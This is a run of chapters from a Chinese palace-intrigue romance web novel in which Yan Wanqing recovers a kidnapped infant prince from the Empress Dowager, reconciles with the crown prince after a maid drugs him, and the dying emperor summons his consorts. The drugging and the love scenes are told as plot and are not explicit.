“郡主真是个急性子,这不是哀家没有想好要怎么开口嘛。”太后慢条斯理的拢了拢自己的发髻说道。 看这模样,便是找到了谈判的筹码。 燕晚清心里已经有了数,与此同时一直悬着的心,放下了。 “前几日,哀家这后宫里啊总是有小猫叫,哀家就带着人去找了找,郡主猜怎么着,还真是让哀家给找到了。”太后勾着一抹红唇开口,眼中都是老谋深算的光芒:“只是这小猫崽子被藏了这些时日,都快要瘦成老鼠了,实在是可怜极了,花费了哀家好一通力气,才给养活了。” “救人一命胜造七级浮屠,太后娘娘善者仁心,日后定会有好报的。”燕晚清游刃有余的周旋。 她听明白了,太后这是在跟自己诉说这件事情完成的很不容易,想要跟她要更多的筹码呢。 太后眼里都是精光:“这好不好报的哀家不知道,只是这段日子一直呆在深宫里,实在是没趣的很,小家伙的到来,倒是给哀家增添了几分趣味。” “这事儿好办,安平会给太后娘娘安排些体己的人,这照顾小家伙实在是太辛苦了,不如还是交给安平,让安平代劳吧。” 两个人你一人我一句的,看似在说猫,又好像不是在说猫。 宫女们也不敢吭声。 太后觉得这个燕晚清实在是太过于圆滑,根本不上道。 于是她累了。 抬手:“你们都出去,哀家有话要跟郡主单独说说。” 宫女们欠身:“诺。”悉数出去了,整个大殿只剩下她们两个人。 太后看着燕晚清,抬起双手慵懒的拍了拍。 很快便有个奶娘从她身后的屏风走了出来,怀中抱着一个襁褓。 燕晚清心中一紧,但是很快她强压住自己内心的激动。 “安平,哀家就跟你打开天窗说亮话了,这孩子哀家给你找着了,偷孩子的贼哀家也能一并交给你,只是你也得给哀家看看,忙活了这么久,哀家究竟能得到什么。” 燕晚清目光沉静:“这话应该是由安平问您,太后娘娘究竟想要什么?” 太后面色变了变。 这些时日,皇后张岚依一直在大小事情上面为难自己这边。 她做的手脚不算干净,一查便能查出来。 可能也是根本不屑于去隐藏自己吧,这让太后心里憋了一肚子的气。 可小不忍则乱大谋,终于让她等到了这天。 “哀家知道,没有你,那张岚依难成大器,只是你为何偏偏要选择去帮助她?朝中那么多皇子,你随便选一个,便能够带着燕家重新回到巅峰,这是哀家不明白,也是特别想搞清楚的点。” 燕晚清如果不将这个问题说清楚,太后觉得自己很难去相信她。 “其实这个问题很多人都想知道,很多人心里也有各式各样的答案。”燕晚清起身缓缓踱步在大殿之内:“安平先前做错了一个选择,最后导致了无法挽回的后果,所以直接导致后面,安平想要干点不一样的,与这个世上的纲常法则相违背的东西……” “你能说点哀家听得懂的么?”这聪明人说话,绕这么一大圈,实在是累死了。 太后娘娘皱着眉头看着燕晚清催促道:“直说便是,都这个时候藏着掖着,实在是没意思,还要不要孩子了?” 燕晚清忍俊不禁,轻笑一声:“恭敬不如从命,万般话语都汇集成一句话,谁说女子不如男。” 谁说女子不如男? 她偏偏要去选那最弱的,甚至连棋盘都上不去的棋子。 她就是要这天地风云都好好睁开眼睛看看,男子能做的事情,女子同样做得! 太后被她眼眸中的光亮和坚定震慑到了,好半饷,她才抚着自己的发髻开口:“倒是有个雄心壮志的,哀家若是再年轻个十几二十岁,说不定还真能陪你闹一闹,只不过眼下哀家只想混吃等死,这朝中,天下与哀家无关。” 她顿了顿,看向燕晚清:“哀家与那皇后有仇,真到了那天,哀家希望你能看在这个孩子的份儿上,救哀家一命。” 她间接害死了张岚依的父亲。 燕晚清听说过当年的秘辛,但终究没有当事人那般清楚明白。 听到太后娘娘这样说,她知道事情可能比她想想的还要严重许多。 这些时日皇后显得心浮气躁,明显是被太后给干扰到了情绪。 “安平答应。” 太后找到了孙贵妃的孩子交给自己,她答应太后一个条件,很公平合理。 “你不再想想?”太后惊诧于燕晚清这般干脆利落。 先前还是一直绕弯弯,眼下又不饶了,让她都有点不习惯。 燕晚清勾唇:“安平与太后娘娘谈的是交易,既然是交易,就该有来有去,不然没有达成您心中所想,这孩子也不会交给安平,不是么?” 太后哈哈大笑:“可以,很是爽快,就是应该这么爽快才是。” 燕晚清从奶娘怀中接过了那小皇子,小小的一只,还在睡觉。 小手一下子就抓住了她的小指,燕晚清都愣住了。 太后在旁边说风凉话:“一家人到底是一家人,就是亲近,这小东西可从来没有抓过哀家的手。” 第二百八十四章 再往上一点,你就真该死 燕晚清抱着小皇子从太后的寝宫出来,她用一条披肩从肩头盖下来,挡住了烈阳,朝着孙贵妃的寝宫走过去。 宫女们好奇的打量,但是也看不真切她手里究竟抱着的是啥。 小皇子抓着她的小指,小嘴冒出一个透明的小泡,别提多可爱了。 燕晚清一边走,一边忍不住的想。 如果那个没缘分的孩子还在,此刻自己应该也快要生了。 越想,她的心口就越是酸涩。 行至一处阴凉处,她觉得手臂有些湿润,赶紧停下来翻开。 “原来是你这个小家伙搞的鬼。” 小皇子竟然尿了。 燕晚清也不生气,她将襁褓重新包好,刚打算加快脚步,就看见树下面站着一个人。 身材颀长,丰神俊朗,一身黑衣站在树下看着自己,黑眸里都是说不清道不明的情绪。 燕晚清张了张嘴,没说什么,抬起脚从他身边擦肩而过。 “……你不打算跟孤说点什么么?”两军对阵,终究还是要有一个忍不住的。 萧蘋风发现自己在她面前,每每都溃不成军。 燕晚清停下脚步,声音很轻:“殿下尚且肩负着北征的职责,还是稍微注意一点比较好。” 这里是宫里,耳目众多,萧蘋风一旦被发现,事情捅到了皇帝的耳边,定是又要有一番风波的。 “就这?”萧蘋风周身气压极低,他伸出手直接拉住她的雪白皓腕,想要将人拉进自己的怀中。 燕晚清此时哪里肯,她恨不得二人再也不要有任何瓜葛才好。 她往后退了一步。 萧蘋风见状黑眸微沉,他轻哼一声,铁臂结实有力直接将人带着她怀中的襁褓,一并拉了过来。 燕晚清担心怀中的小皇子,又羞愤此时萧蘋风的动作,双手无暇,只能抬脚对着他的下肢便踹了出去。 萧蘋风不躲不闪,硬生生的接下了这一脚。 听着他倒吸一口凉气。 燕晚清愣住了。 一时之间,原本就空旷无人的树下,此时更是死一般寂静。 “下脚真狠。”萧蘋风看着自己黑袍上的脚印:“再往上一点,你就真的该死了。” 再往上一点是…… 燕晚清红了面颊:“是你先动的手。” 萧蘋风超前压了半步,俯下头来,眸光漆黑落在她的身上,还有她怀中的襁褓中,轻叹一口气:“这是孙贵妃的孩子?” “嗯。”她知道什么事情都瞒不住他,索性便也不瞒着了。 萧蘋风立刻就知道太后请燕晚清进宫所为何事了。 “这便是孤的十五弟了。”萧蘋风又压下来些身子,抬手拨开些披肩,露出里面睡得真香的宝宝脸。 他靠的很近,灼热的气息在夏日里依旧烧的燕晚清往后缩了缩。 “躲什么?”他用手摁住肩膀,语气低沉:“你总是喜欢躲着,这样就能解决问题么?” 解决问题? 他们之间的问题,是国仇家恨,是尸横遍野,如何解决? 想到这里,燕晚清水眸中缓缓升起水雾:“解决不了。” “解决不了,所以你就躲起来了?”萧蘋风被气笑了,手上也微微使劲,恨不得将她的脑袋撬开来看看里面究竟装的是什么东西:“燕晚清,你平日里可不是这般怯懦的。” 燕晚清说不出话,只能抱着小皇子,头低了下来。 “小怂包。”萧蘋风忍住没有骂的太脏,憋出三个字来。 天知道昨夜他究竟有多难受。 “你我之间都知道发生了什么事情,你问都不问我,就擅自下了决定,你觉得这件事情公平么?” 燕晚清心尖一颤,她不安的舔了舔干涩的唇角:“……我,我……” “平日里巧舌如簧,今日怎么吞吞吐吐了?舌头被晒化了?”萧蘋风眼里闪过促狭。 燕晚清知道自己是说不过面前人的,只能转移话题:“天气热,臣女先把小皇子送去贵妃娘娘那边。” 说着她就要挣脱开来,可是太子爷哪里肯。 他抓着她的手不松开:“你把话说清楚再走。” “不说清楚你走一个试试,无事就说我,有事就开始自称臣女了是吧?”他显然是被气得不轻。 燕晚清被说的哑口无言,只听见周围传来脚步声,她赶紧反手握住他:“快走,有人来了。” “孤不走。”萧蘋风固执的站在原地。 燕晚清有些着急:“你不走到时候被人发现了怎么办?” 萧蘋风看着她面露急色不似作假,当下这两日心中的郁闷一扫而空,他重重的哼了一声:“那你说,你到底想如何?” “……孤实在不想像上次那样,再生出些误会,将你一个人丢在这京都里自生自灭。”萧蘋风声音略显沙哑,他的表情看不出什么情绪,但是燕晚清一下子便听懂了是什么意思。 心尖已经极度酸涩了。 舌尖狠狠的抵着尖锐的虎牙,她像是下定了某种决心:“不会的,这次不会。” 萧蘋风眼中闪过惊喜看向她。 此时身后的脚步声已经越来越近,燕晚清赶紧推着他:“快离开!” “你亲孤一口。”萧蘋风开始得寸进尺。 燕晚清没辙,踮起脚尖,怀中还抱着小皇子,在他的下颚处蜻蜓点水亲了一下。 然后赶紧催促这萧蘋风离开。 等到人终于走了,她才松了一口气,抬脚朝着贵妃那边走去了。 等到了孙涟漪的寝宫里。 “郡主这是?”伺候贵妃的嬷嬷看着燕晚清怀中的小孩子,有些傻眼。 燕晚清脸颊滚烫,她不肯将小皇子交给别人,直接抱着朝里走去:“娘娘呢?” “在里面给小皇子洗澡呢。”嬷嬷连忙说道。 燕晚清点点头:“再去准备一份,给这位也洗洗。” 进去的时候,孙涟漪正在跟浴盆里的孩子嬉戏,见燕晚清进来了:“快来看,他真的很好笑。” 话刚说完,孙涟漪就看见了燕晚清摘下了披肩,露出一个襁褓来。 她微微蹙眉:“这是?” “表姐。”燕晚清刚喊了一声,孙涟漪迅速起身走了过来,一把将她怀中的襁褓抱了过去。 “……孩子?”孙涟漪声音颤抖,紧接着落下泪来。 母子连心,这一瞬间,她便认出来,这是她的亲生骨肉! 燕晚清站在旁边弯了弯唇角,将这段时间发生的事情告诉了她。 期间包括皇后为了顾全大局,不得已拿别的小孩子来欺骗她的这件事情。 孙涟漪抱着小皇子坐在软榻上,眼尾猩红,她用指腹擦了擦眼角的泪水:“抱走小皇子的人是谁?” 第二百八十五章 说清楚,做个了断 “晚点,让人送过来。”燕晚清眼中闪过晦涩的光芒。 孙涟漪的孩子失而复得,自然是不能再掉以轻心了,当下寝宫里多了一倍的护卫,燕晚清还特意安排了几个风雨楼的杀手在旁边专门保护他们母子。 “有件事情你说的很对。”孙涟漪和燕晚清坐在一张软榻上,她轻轻的拍着怀中沉睡的小皇子,感觉自己前所未有的清醒:“谋则生,不谋则死。” 说这话的时候,她目光深深看着自己这个表妹。 所有的一切都是按照她说的那样发展的。 “若是当初听了你的,早早谋算,也许父兄他们不会遭此劫难。” 孙涟漪再次红了眼圈。 燕晚清看着案几上纹丝不动的茶水,轻轻开口:“有件事表姐应该知道。” “何事?” 燕晚清抿了抿红唇:“我大哥回来了。” 孙涟漪拍着小皇子的手猛地停在了空中,不敢置信的看着她,眼角的泪水再也忍不住,化作颗颗晶莹的泪珠顺着她姣好的面颊往下滴落。 “……他,回来了?” 看着燕晚清点头,孙涟漪感觉自己喉咙突然被收的很紧,她再三压制住心里的激荡,最终化为一声常常叹息。 “……老天有眼。” 四个字,再没有多余的话了。 大哥和表姐之间,再无可能了吧。 燕晚清被这股子求而不得的伤感戳着心口,想到了刚刚萧蘋风那般生气的质问自己,她不知怎的,心情复杂了起来。 他们之间何尝不是同样的境地? 今夜,就跟他说清楚,做个了断。 这天下她要夺,皇帝,她要杀。 皇家欠她父兄的一切,她都要一笔一笔的算清楚拿回来。 “你在想什么?”孙涟漪见燕晚清一直魂不守舍的,关切的问道。 她这个表妹向来是很有主见的,什么时候见她坐着就发起了呆。 燕晚清摇了摇头:“没什么事情。” “你有事不要憋在心里,到头来憋坏了,表姐虽然不能帮你多少,可听你倒几句苦水的时间还是有的。”孙涟漪将小皇子交给旁边的嬷嬷,上前拉住了燕晚清的手:“你跟表姐说,是不是遇到了什么难处?” 眼下朝中内外都由皇后张岚依在掌控,京都的绝大部分的形势也都在燕晚清的掌握之下。 所以此刻孙涟漪见她如此,真是有些关心。 究竟还有什么事情,能让自己这个沉着冷静的表妹陷入六神无主的状态的。 燕晚清唇角苦涩,她本不想将自己和太子之间的事情说出来。 可是看到表姐现在的样子,她想到她和兄长之间的事情。 燕晚清终于妥协,将这些时日发生的事情,一五一十的告诉了孙涟漪。 当她听到那李家三小姐多次使坏的时候,孙涟漪气得眯起了双眼:“也就是你对这些女子下不去手,换做是表姐我,早在第一天,就让她吃不了兜着走了。” 燕晚清心头一热:“不会了,以后都不会了。” “你们之间确实横跨着无法逾越的鸿沟,不过表姐听你说了半天,这些都是你的想法,你可有了解过他的真实想法?” 燕晚清闻言愣住。 他的……想法? …… 天色逐渐暗沉下来。 燕晚清从宫里出来,皇帝这些时日的身体越来越不行了,张岚依的面色也一日比一日的阴沉。 大家都知道时间所剩不多了。 驾崩也不过就是朝夕的事情。 不少老臣都在上奏要求皇后下旨将远在雁门关的太子殿下召回。 熟不知,他们的太子爷早就已经在京城里了。 晚间的合欢树散发着浓郁的香味,让人忍不住的想要站在树下面多吸两口。 燕晚清站在湖边,静静的等候着。 手里捏着一枚扁扁的石头,用力甩出去,石头在湖面弹跳起来:“一、二、三、四、五、六……” 六个水花之后,石头终于沉入了湖底。 该来的人,还没有到。 她的心思跟着沉了下来。 说好了要讲清楚,结果人没来。 他耍自己么? 安平郡主不知怎的心里憋了一股子气。 她不再等候,翻身上马直接朝着城中而去。 小六说了,他现在住在城中一处很好看的院子里。 她倒要看看,这个人到底被什么绊住了腿脚,白白让她等了一个时辰! 燕晚清是带着怒气从房檐上跳下去的。 此时林嫣然刚把萧蘋风扶上了塌。 年纪轻轻的太子爷嘴里不断地嘟囔着:“……晚晚,晚晚。” 听得林嫣然心中忌恨不已。 睡觉还在喊那个贱人。 那贱人何德何能让太子爷魂牵梦萦到这种地步? 她一边想,手里的动作也不含糊。 上前就把萧蘋风脚上的靴子给脱了下来,又将外袍给脱下。 今日好歹是寻到了一个机会,将药下在了茶盏上面,混着茶水让这太子爷喝了下去,不然她还真不知道自己要怎么办了。 王权这个老鬼的药,真是管用。 看着榻上的萧蘋风不断的扯着自己的衣襟,面颊越发红润起来,她眼里都是惊艳。 太子殿下真不愧是人中龙凤,真是好看的让她浑身发热。 林嫣然再也不等了,胡乱踹掉自己脚上的鞋子,就要上榻。 就在此时一把长剑从后放在了她的脖颈处。 “再动一下,要了你的命。” 声音清丽,藏着说不出的怒气。 燕晚清没有想到自己跑过来竟然看到了这副画面。 林嫣然双手举起,缓缓转过身,看清楚燕晚清的时候,她面色白了两分:“……我什么都没干呢。” “你要是干了,现在就该是具尸体。” 燕晚清毫不留情的说道。 此时再看林嫣然,满眼都是厌恶。 “滚出去!”她低声呵斥道。 林嫣然还想说点什么,但是看着她手里的长剑,最终还是憋着嘴走了出去。 真是白忙活半天,到末了还要替他人做嫁衣。 林嫣然越想越气,将门重重的关上,然后快速跑回了自己的房里。 事发东窗,她得赶紧收拾东西跑路。 不管是燕晚清还是太子殿下,都不是好惹的。 林嫣然将这几日在府内搜刮的银钱全部放在了包袱里,然后趁着夜色赶紧从侧门逃了出去。 屋内。 燕晚清将手里的长剑丢在了地上。 她气冲冲的从桌子上倒了一壶茶,然后走到床榻边上,对着那眼神迷离的太子爷,从头泼了下去…… 第二百八十六章 把我杀了,给你们俩助助兴 让你睡! 燕晚清心里憋了一肚子的气,头一次如此放肆。 她还嫌不够,直接拎着茶壶过来,刚要倒下去,手腕就被捏住了。 “……乖乖,我醒了。” 萧蘋风伸出手摸了一把面上的茶渍,狭长的眸子里都是水汽,整个人也显得有些妖媚,看的燕晚清一愣。 床榻上的人顺势拽着她拉了上去,直接将娇软的身子抱在了怀中。 是自己魂牵梦萦的人,太子爷原本消停下去的动静,此刻又开始有了反应。 “……我都准备好要出发了的,那奴婢端上来一盘子糕点,说是你喜欢,我就尝了一下,然后顺势喝了一口茶……” 说这些的时候,太子爷心里别提多委屈了。 他哪里知道那林嫣然吃了熊心豹子胆,竟然敢对着他下这种药。 “别生气了好不好?我给你赔礼道歉。”在她面前,尊贵的太子向来是先低头的那个。 燕晚清心里的气其实已经消了大半,她知道那林嫣然是什么德行,只是她还是有些膈应。 要是自己来晚了一点,他们岂不是? 想到这里,她又觉得自己有些钻牛角尖。 为什么在涉及萧蘋风的事情上面,她越发的优柔寡断,自己变得不像自己了? “晚晚?”萧蘋风捏了捏她的柔荑,见她没动静,又喊道:“乖乖……” “我没生气。”燕晚清闷闷的开口。 见她终于愿意开口说话,萧蘋风心里松了一口气:“真的?” “嗯。” 太子爷凑上前:“那你亲亲我。” 燕晚清直接翻了个白眼转过身去。 亲你个头。 她恨不得用手中的茶壶扣他脑门上。 太子爷见她又不说话了,只能再接再厉:“这件事情是我做得不对,我不应该对你之外的女子掉以轻心,我早该知道这群女子就是垂涎我的美色……” “行了。”燕晚清唇角终于露出一抹笑意:“越说越没边了。” “还不够,我还要进行深刻的反省,不应该因为这种事情惹得乖乖生气。”萧蘋风一脸认真的说道,他看着怀中的人,又收紧了些手臂,声音软了下来:“你原谅我好不好?” “已经原谅你了啊。”燕晚清有些傲娇的说道。 太子爷十分委屈:“原谅我,你不亲亲我?” “你这是何道理?”燕晚清耳坠都红了。 “我不管,我要乖乖亲亲我。”太子爷开始耍赖,抱着她轻轻的晃着撒娇。 燕晚清被晃得没法子了,手中的茶壶都开始反抗往外面吐水了,赶紧喊停:“停停停,亲!” 太子爷这才停下来,满眼希冀的看着她,好似一只等待奖励的大型犬。 燕晚清闭着眼睛凑上前,试图跟下午一样在他的下巴亲一口就算了。 但是没有想到对方压根不吃这一套,自己刚凑过去,腰肢上就被扣上了大手,紧接着红唇就被攻城略地。 她瞪大眼睛:“唔唔唔!” 太子爷腾开一只手,将碍事的茶壶放到了一边去,又抬手熄灭了烛光,帷幔也被放了下来,他再也安耐不住药性,将人摁在了身下…… 或者说,面对她,他根本不想克制。 一夜雨打娇花,再醒过来的时候已经是接近晌午的时候了。 燕晚清睁开眼睛的时候,肠子已经悔青了。 自己分明是过来和他讲清楚断关系的,可是话都没有讲出口,又变成了现在这幅情景。 浑身都酸疼,尤其是腰肢的位置,她疼的整个人都有些萎靡了。 “醒了乖乖?”身后一只八爪鱼已经黏了上来,太子爷像是吃饱餍足的豹子:“昨夜辛苦了。” 燕晚清脸色铁青:“……滚!” 这个人怎么好意思说的! 不吃羞耻! 真该让天下读书人好好看看他的这副嘴脸,看看他究竟配不配被称作是天下之光! 燕晚清越想越气。 太子爷见她不吭声,知道这是又闹小性子了。 “我们出去吃怎么样?城东开了一家小店,味道很是不错。” 燕晚清还是没吭声,背对着他,黑色的发丝垂在耳边,越发衬托的整个人雪白,此时更像是一只生闷气的小猫咪。 “昨夜是我不知道克制了,这里疼对不对?”太子爷准确的找到了她身上酸疼的位置,轻轻的按了起来。 燕晚清原本以为这个老sp还想动手动脚,大早上不正经,但是没想到他真就是给自己按摩。 而且手法还挺娴熟,一点不比从歌按得差。 “没想到你还有这手艺。”燕晚清眯着眼睛享受道。 太子爷得了便宜还卖乖:“晚晚若是喜欢,往后一直给你按。” 被夸了的太子爷来了劲,翻身起来,双手给她安了起来,所到之处疲惫感消失了两三成。 按了一会儿,燕晚清感觉周身都轻松了很多,于是说道:“可以了。” “真的可以了?”太子爷问道。 她丝毫没有意识到他嗓音里的低哑:“自然,快下去,该起身了。” 一夜未归,还不知道怎么跟家里人交代呢。 “喂!”只是事与愿违,某只憋了一早上的豹子已经压了下来,燕晚清一个不妨惊呼出声。 帷幔又开始摇曳起来。 燕晚清再醒来的时候,已经到了下午。 这回她气得饭都不想吃了,任凭太子爷怎么道歉,她都没有搭理他。 太子爷没辙,一边伺候着自己的小祖宗穿好了衣服,一边想着待会儿要带她出去到哪里散散心,让她的心情能够好一点。 燕晚清穿戴好之后,就直接坐在了椅子上,她看着萧蘋风:“你过来坐下。” 这该死的床榻是一点都不能呆下去了。 燕晚清唇红齿白,一双桃花眸里水汪汪的,整个人看起来越发的娇媚明艳,看的某位太子爷又是心猿意马。 但是一想到小祖宗还在生气,他只能老实巴交的走过去,坐了下来。 “把衣服穿好!”燕晚清移开了视线。 刚刚只顾着给她穿衣服,太子爷自己的还没穿好,此时松松垮垮的披散在肩膀上,依稀能从衣襟看到半个胸膛,纹理分明,看起来极其诱惑。 “我们好好谈谈吧。” 燕晚清没忘记自己找过来的正事,说起这个,她的眼神黯淡了些许。 第二百八十七章 他的乖乖,总是习惯低头走路 “谈吧。” “开诚布公的谈。”燕晚清将昨夜茶壶里剩下的茶水倒进了杯盏里,一饮而下。 话还没有说几口,就感觉口干舌燥了。 喝完,她摸着杯盏边缘,心像是被一只无形的大手狠狠的攥成了拳头握在了掌心里。 “……你说话啊。”气氛一阵沉闷,她低着头催促道。 眼角微热,泪水忍不住就要往下掉。 萧蘋风轻叹一口气,将椅子挪了过来,大手揽过她的肩头,将她牢牢的抱在了怀中。 “我很抱歉,你最痛苦的那段岁月没能陪在你的身边。”他的声音好似从瀑布上面倾泻而下的月光,温柔又透亮。 此话一出,燕晚清再也绷不住,抱住他的腰肢小声啜泣起来。 没有人知道她是如何挺过来的。 世人都道她宛若磐石一般的意志力,崇拜她出神入化的算计,可是没有人关心她背后付出怎样的代价。 “往后不管你做出怎样的决定,我都会在你的身边,哪怕……你赶我也好,憎恶我也好,绝不留你一个人。”萧蘋风收缩手臂,将怀中人圈的更紧。 “所以……晚晚,不要因为别人的过错,再轻易放弃我们,好不好?”他声音嘶哑,藏着无人知晓的脆弱。 哪怕自己是高高在上的太子爷,是十万大军的统帅。 可是在燕晚清面前,他依旧是脆弱的。 她一句不要他,就足以要了自己半条命。 燕晚清哭的声音嘶哑,重生之后,她一直紧绷的神经,在此刻终于放了下来,这片刻的时间里,她的脑海里闪过了无数画面,泛着血水的水池,白刀进红刀出的尸体,各式各样憎恶的面孔,这一刻在她的脑海中全部炸裂旋转,让她眩晕。 萧蘋风轻轻的拍着她的背部,帮她顺气。 他知道,此刻的她需要发泄。 可是有些话,到这个关头了,他觉得自己有必要说出来,不要再因为不相干的人,让他们彼此的往后余生都活在痛苦里面。 “……我年幼的时候,曾经差点死在皇宫的桐华池里。”他轻轻的开口,怀中人闻言止住了哭泣,满眼通红的抬头看她,小脸上都是泪水,她想要问问什么,但是鼻子里被堵得喘不过气,只能张开小嘴呼气。 萧蘋风被她的反应逗乐了,重新将人拉入了自己的怀抱中。 “父皇干的。”萧蘋风说这话的时候,声音都紧了紧:“从小到大,我经历过很多次的刺杀,绝大部分都来自于他,一开始我也想知道为什么,但是逐渐的随着长大,这种想要答案的**,也消失无形了……皇家的人都是无情的,从一开始我就知道,如果一开始我的死活与他们无关,同样的道理,他们的死活也跟我没有一点关系。” “晚晚……你是不一样的存在,我贪图你整整十五年,好不容易与你走到了一起,如果你不要我——”一向运筹帷幄的太子爷突然脆弱了下来,他用下颚抵着燕晚清的头顶,慢慢的摩挲,嗓音随着喉结滚动,缓缓的延伸出来:“……不,你不能不要我。” 他不敢去想那个后果。 “你不能因为那个人,就不要我,晚晚。”他用了些力气:“我不许。” “所以什么父子之情,什么皇室责任,于我而言都是虚的,整个皇宫里我留恋的只有我的母妃,可是她已经死了。” 燕晚清趴在他的怀中愣神。 这一刻她无比心疼他的遭遇。 一个人如果从小就生活在来自父亲的刺杀当中,那么他的生活该有多么绝望啊? 可是他依然成长成了所有人羡慕学习的对象,成了整个大渭最后的依仗。 燕晚清忍不住又要落泪,她努力从怀抱中挣扎出来露出自己的脑袋。 “他怎么能这样对你?”语气中甚至带着自己都察觉不到的怒气。 萧蘋风见她关心自己,不再钻牛角尖,伸出手点了点她的鼻尖:“事情都已经过去了,我不在乎,你只需要知道,往后余生,我只在乎你。” 燕晚清眼尾又泛起粉色:“……萧蘋风,你说的是真的?” “当然是真的。”他深情款款。 她沉吟片刻,桃花眼眸里都是认真,声音还带着刚刚哭完的软糯:“……你最好说的都是真的,说谎的人要吞一万根针的!” “好好好。”这句话萧蘋风从来没听过,他只当是要发毒誓,于是举起三根手指,黑眸里前所未有的认真:“我萧蘋风发誓,往后绝不对燕晚清说谎,若有半句谎话,当吞万针!” 燕晚清两腮酡红,这句话是她听小六说的,见他又发毒誓,此刻心中已经释然。 虎毒尚且不食子,可是皇帝对于萧蘋风这样优秀的皇子都能痛下杀手,当真是不能容人了。 他还设下了小院这种专门收集群臣把柄的所在,若是将王权夫妇带上大殿,此番皇帝定然会失去人心,届时兵败如山倒,他们甚至都不需要发力,皇帝便会立于悠悠众口之下,不得善终! 两人喊了厨房上菜上酒,喝酒吃菜,将之前的问题全部说了出来,哭哭笑笑,竟然不知不觉又到了月上柳梢头的时候。 他们看着彼此,相视一笑,将酒杯举起,同饮而下,在明月清风中,坚定了彼此的心意。 “你什么时候去跟北疆小侯爷退婚?”半醉半醒间,某位太子爷想到自己的乖乖身上还有个婚约。 燕晚清喝的眼神迷离:“等这件事情处理结束之后,我们亲自去一趟北疆好不好?” 见她终于把自己算作自己人,办事情愿意带上自己,萧蘋风心里软成了一片。 他将她抱在自己的双腿上,在她的脖颈处蹭了蹭:“今日甚是开心。” “我也是。”燕晚清将酒杯重新拿了起来,刚要喝,就被太子爷给夺了去,只见他一饮而尽,然后俯下身来,印上自己魂牵梦萦的红唇,酒水顺着唇齿间溢出缠绵,痴情的人羞红了枝头的月亮。 与君初相识,犹如故人归,天涯明月新,朝暮最相思。 她很庆幸,萧蘋风的坚定,让他们没有再一次错过彼此。 曾几何时,她以为活下来的目的就是为了复仇,直到阴长阳错的与他不断纠葛,小鹿乱撞间,平生不会相思,才会相思,便害相思。 他说自己是她少年时光里的豆蔻梢头,他又何尝不是自己绝望岁月里的一抹光亮。 昏昏沉沉间,浴池里放满了水,烟雾缭绕看不真切,坚实的臂膀紧紧的扣着柳腰,那人的黑眸里再也不是无动于衷,此刻他像个不知餍足的毛头小子,这秋风春月,山川河流,都不如眼前的你让我沉醉。 那一晚,南山之上。 她躲在石头后面,秦国公主问他什么样子的女子才能让自己驻足,他当时是有冲动抓她出来的。 他的乖乖,总是习惯低头走路,所以看不到自己每次看向她的目光,有多坚定…… 第二百八十八章 山雨欲来,萧鸿深自缢了 夏日的蝉鸣聒噪,空气中都是黏泞的感觉,天边不断堆叠的乌云,暗示着今日必然会有一场大雨落下。 可是没有。 这样的阴天已经持续了整整三日。 天气的不好,直接让整个京都人的精神状态都变的蔫蔫的,蝉鸣蛙叫在这样的天气下面更是不要命的嘶吼,似是要抓住这最后的时光,豁出性命来展示自己的响亮。 可是皇帝的身体却在这样的天气下面,逐渐有了好转。 他开始有力气着手一些政务了。 皇后张岚依寸步不离的陪着他,所有人都知道,皇帝大限的日子就要到了,眼下更像是……回光返照。 “今日的饭菜可还合口?”皇帝盛出一碗汤放在了张岚依的面前:“最后在喝口汤,你太瘦了。” 张岚依这段时间忙于处理政务,起早贪黑,精神又绷得很紧,整个人都清瘦了下来。 圣恩难拒,哪怕是自己已经吃不下,闻见这汤的味道有些恶心了,张岚依还是温顺的端起汤喝了起来。 皇帝看着她慢慢的将汤全部喝光,语气里很是淡然。 “这几日多亏皇后的照顾,朕的身体感觉好多了,再有一日国师也要回来了,听说你还召了太子回京,估计也快要到了吧。” 皇帝说话的语气很慢,像是一个没什么脾气的老者。 张岚依一时之间摸不准他究竟是什么意思。 耳朵里只听见一句,国师再过一日就要入京的消息。 她将汤碗放了下来,低头用帕子擦拭了唇角的汤汁,一时之间竟然忽略掉了皇帝眼中的一抹深意。 是啊,山雨欲来风满楼。 所有人都有自己的考量。 皇帝似乎也卯足了最后的力气。 大家都是聪明人,都有自己的城府。 皇帝看着她将整碗的汤汁全部喝完,眼里浮现出满意的神色,略带浑浊的目光从张岚依的身上一寸寸的扫了过去,就好像是在看一个待价而沽的商品。 “待会儿妃嫔们是不是应该请安了?”皇帝突然开口说道。 张岚依点了点头:“本来应该是的,但是今日陛下在这里,您身子刚好,臣妾担心人多吵您,所以便回了各宫今日不用来了。” “哎!”皇帝将椅子往后挪了挪,这点动作他都喘了口气:“这段时间朕一直在病着,也有些想念她们了,不如趁这个机会,让她们都过来皇后这里吧,大家伙热闹热闹。” 张岚依一听这话,手中的帕子都紧了紧。 她张了张嘴,最后还是看向了来福:“听到陛下的意思了?还不快去。” 皇帝又突然想起来:“孙贵妃已经生了是吧?” “回禀陛下,生了个漂亮的小皇子。”张岚依轻声说道,心里满是不安和焦躁。 “把她也喊过来吧,这么辛苦,朕应该好好奖赏他们母子才是。” 来福抬眼偷偷看了看皇后,然后欠身道:“诺。” 众妃嫔听到皇帝要见大家的消息,胆子小的直接在寝殿里哭晕了过去。 “这哪是想念我等,这分明就是为了选日后陪葬的——”有胆子大的妃嫔直接开口说道,来福立马上前给了她一巴掌:“不可胡言乱语!” 那妃嫔捂着脸直接嘤嘤哭泣起来。 天边的乌云更加厚重了。 一直到张岚依的宫殿里坐满了妃嫔,大家都一言不发,低着头不知道在思索着什么。 “平日里你们见朕不都是挺高兴的么,怎么今日都如此沉闷了?”皇帝似笑非笑的开口,眼神里都是讥诮。 妃嫔们闻言更是将头埋的更深了。 她们年纪轻轻,如花似玉,本就是为了家族才进的宫,有的甚至一次都没有受过恩宠,想到日后就要陪葬,心里面早就绷不住了。 “陛下说的是哪里的话,大家不都挺高兴的么,许是这天气的缘故,屋内暗沉了,让陛下看不到姐妹们的容颜了。”她顿了顿冲着来福说道:“还愣着干什么,将屋内的灯都点了。” 宫女们穿梭在人群中,将四下的烛台全部点亮,屋内有了光亮,妃嫔们知道这是皇后在点她们,于是纷纷挤出笑脸来,只是比哭还难看。 没有人能在生死之间,十分淡定。 皇后张岚依也不能。 只不过此时的她还在笑,但是手脚已经冰凉。 皇帝要死了,她作为皇后定然是首当其冲要去陪葬的。 她憎恨大渭皇室这荒唐可笑的规矩,憎恨他们将人命当儿戏的举动。 就在一众人僵持的情况下。 殿外跌跌撞撞跑过来一个太监。 他面色苍白,跨门槛的时候更是在地上滚了好几圈,才爬到了皇帝面前。 “陛下,陛下大事不好了!” “慌慌张张成何体统!”张岚依冷眼骂道:“有没有规矩!” 